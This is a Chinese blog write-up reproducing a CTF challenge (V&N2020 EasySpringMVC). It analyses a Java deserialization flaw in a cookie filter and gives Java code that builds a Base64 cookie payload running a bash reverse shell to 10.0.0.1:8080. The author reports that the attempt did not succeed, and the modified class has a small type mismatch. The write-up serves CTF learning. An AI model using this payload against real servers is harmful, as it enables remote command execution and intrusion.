[V&N2020 公开赛]EasySpringMVC复现

[V&N2020 公开赛]EasySpringMVC复现

首先下载源码,使用jd-gui反编译
然后save-all-sources把源码保存出来


image.png

拿到源码后开始分析
首先在ClentInfoFilter内

public class ClentInfoFilter implements Filter {
  public void init(FilterConfig fcg) {}
  
  public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
    Cookie[] cookies = ((HttpServletRequest)request).getCookies(); //获取到客户端的cookie信息
    boolean exist = false;
    Cookie cookie = null; //设置一个cookie变量
    if (cookies != null) //判断拿到客户端的cookies如果不为空
      for (Cookie c : cookies) { //循环cookies变量
        if (c.getName().equals("cinfo")) { //如果拿到cookies里有变量是cinfo就退出
          exist = true; //退出并且设置一个变量用于下面
          cookie = c; //将拿到的cinfo赋值给cookie
          break;
        } 
      }  
    if (exist) { //判断上面存在的话
      String b64 = cookie.getValue(); //得到cookie的具体值
      Base64.Decoder decoder = Base64.getDecoder(); //创建一个base64解密对象
      byte[] bytes = decoder.decode(b64); //对值进行base64解密
      ClientInfo cinfo = null;
      if (b64.equals("") || bytes == null) { //这里判断解密出来的数据流如果为空
        cinfo = new ClientInfo("Anonymous", "normal", ((HttpServletRequest)request).getRequestedSessionId());
        Base64.Encoder encoder = Base64.getEncoder();
        try {
          bytes = Tools.create(cinfo);
        } catch (Exception e) {
          e.printStackTrace();
        } 
        cookie.setValue(encoder.encodeToString(bytes));
      } else { //不为空调用tools里的parse
        try {
          cinfo = (ClientInfo)Tools.parse(bytes);
        } catch (Exception e) {
          e.printStackTrace();
        } 
      } 
      ((HttpServletRequest)request).getSession().setAttribute("cinfo", cinfo);
    } else { //这里就是上面的判断没有拿到cinfo就给客户端重新设置一个cookie
      Base64.Encoder encoder = Base64.getEncoder();
      try {
        ClientInfo cinfo = new ClientInfo("Anonymous", "normal", ((HttpServletRequest)request).getRequestedSessionId());
        byte[] bytes = Tools.create(cinfo);
        cookie = new Cookie("cinfo", encoder.encodeToString(bytes));
        cookie.setMaxAge(86400);
        ((HttpServletResponse)response).addCookie(cookie);
        ((HttpServletRequest)request).getSession().setAttribute("cinfo", cinfo);
      } catch (Exception e) {
        e.printStackTrace();
      } 
    } 
    chain.doFilter(request, response);
  }
  
  public void destroy() {}
}

接下来分析tools类,这个类一眼就能看到是个序列化和反序列化类,继承了Serializable,并且写了序列化函数和反序列化函数

public class Tools implements Serializable {
  private static final long serialVersionUID = 1L;
  
  private String testCall;
  
  public static Object parse(byte[] bytes) throws Exception { //反序列化函数
    ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(bytes));
    return ois.readObject();
  }
  
  public static byte[] create(Object obj) throws Exception { //序列化函数
    ByteArrayOutputStream bos = new ByteArrayOutputStream();
    ObjectOutputStream outputStream = new ObjectOutputStream(bos);
    outputStream.writeObject(obj);
    return bos.toByteArray();
  }
  
  private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException { //重写的readObject
    Object obj = in.readObject(); //读类
    (new ProcessBuilder((String[])obj)).start(); //这里就是命令执行的点,把读出来的类执行start()方法
  }
}

读到这里就很明显了,就是给cookie设置反序列化
把tools类单独拿出来生成反序列化语句,并且进行base64加密,因为他在cookie解析的时候会先base64解密成序列化流,再进行反序列化
这里他的String testCall函数并没有设置set和get方法,所以需要手动生成一下
还有一个坑,就是接收命令执行对象的时候是使用的String[]接收的,所以需要把testCall设置成String[]

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.Serializable;

public class Tools implements Serializable {
    private static final long serialVersionUID = 1L;

    private String testCall;

    public static Object parse(byte[] bytes) throws Exception {
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(bytes));
        return ois.readObject();
    }

    public static byte[] create(Object obj) throws Exception {
        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        ObjectOutputStream outputStream = new ObjectOutputStream(bos);
        outputStream.writeObject(obj);
        return bos.toByteArray();
    }

    public String[] getTestCall() {
        return testCall;
    }

    public void setTestCall(String[] testCall) {
        this.testCall = testCall;
    }

    private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
        Object obj = in.readObject();
        (new ProcessBuilder((String[])obj)).start();
    }
}

接下来在主类中调用,并且复制命令执行,生成序列化流base64加密

import java.util.Base64;

public class Toolstest {
    public static void main(String[] args) throws Exception {
        Tools tool = new Tools();
        tool.setTestCall(new String[]{"bash","-c","bash -i >& /dev/tcp/10.0.0.1/8080 0>&1"}); //这里需要改成自己的反弹ip

        byte[] bytes = tool.create(tool);

        Base64.Encoder encoder = Base64.getEncoder();
        System.out.println(encoder.encodeToString(bytes));
    }
}
image.png

这样把cookie替换掉,就能得到一个反弹shell,本次复现没有成功原因未知

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
【社区内容提示】社区部分内容疑似由AI辅助生成,浏览时请结合常识与多方信息审慎甄别。
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

相关阅读更多精彩内容

  • 原来国赛就是CISCN......buuoj上题目挺全的,干脆选一些比较有价值的题目复现下: Hack World...
    byc_404阅读 3,764评论 0 3
  • p牛参与的项目vulhub,对于web安全从事人员而言应该说是宝库般的存在。里面许多的漏洞都是值得一一去学习的。在...
    byc_404阅读 2,058评论 0 3
  • 本学期最后一篇文章。写完就要复习去了。 文章写在RCTF第一天。web狗真实自闭.本来想把假期前最后一篇文章留给R...
    byc_404阅读 2,359评论 0 1
  • 六月赛 WEB ezupload 这道题可以看出是一道文件上传,有意识的就可以联想到通常做的文件上传题目是不能上传...
    BerL1n阅读 6,692评论 0 6
  • 夜莺2517阅读 127,943评论 1 9

友情链接更多精彩内容